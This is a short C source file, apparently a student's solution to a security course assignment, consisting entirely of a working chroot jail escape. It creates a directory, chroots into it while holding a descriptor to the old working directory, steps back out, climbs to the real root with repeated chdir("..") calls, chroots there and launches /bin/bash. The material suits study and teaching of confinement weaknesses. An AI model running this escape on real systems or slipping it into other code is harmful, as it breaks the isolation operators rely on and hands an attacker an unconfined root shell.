CamilStaps-s4498062-Assignment-6/ex1.c


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#include <fcntl.h>
#include <stdio.h>

int main(void) {
        int cwdf, x;

        mkdir("crowbardir", 0755);

        cwdf = open(".", O_RDONLY);

        chroot("crowbardir");

        fchdir(cwdf);
        close(cwdf);

        for (x=0; x<1024; x++)
                chdir("..");

        chroot(".");

        system("/bin/bash");
}